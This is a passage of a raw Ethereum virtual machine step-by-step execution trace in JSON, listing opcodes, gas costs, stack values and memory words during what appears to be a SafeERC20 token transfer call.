b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7298,"op":"SWAP5","gas":31715,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7299,"op":"SWAP4","gas":31712,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1be2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7300,"op":"POP","gas":31709,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x1be2","0x80","0xe4","0x60","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7301,"op":"POP","gas":31707,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x1be2","0x80","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7302,"op":"POP","gas":31705,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x1be2","0x80","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7303,"op":"POP","gas":31703,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x1be2","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7304,"op":"JUMP","gas":31701,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x1be2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7138,"op":"JUMPDEST","gas":31693,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7139,"op":"DUP1","gas":31692,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7140,"op":"MLOAD","gas":31689,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7141,"op":"SWAP1","gas":31686,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7142,"op":"SWAP2","gas":31683,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x20","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7143,"op":"POP","gas":31680,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7144,"op":"ISZERO","gas":31678,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7145,"op":"PUSH2","gas":31675,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7148,"op":"JUMPI","gas":31672,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x0","0x1a3a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7149,"op":"DUP1","gas":31662,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7150,"op":"DUP1","gas":31659,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7151,"op":"PUSH1","gas":31656,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x124","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7153,"op":"ADD","gas":31653,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x124","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7154,"op":"SWAP1","gas":31650,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x124","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7155,"op":"MLOAD","gas":31647,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x144","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7156,"op":"DUP2","gas":31644,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db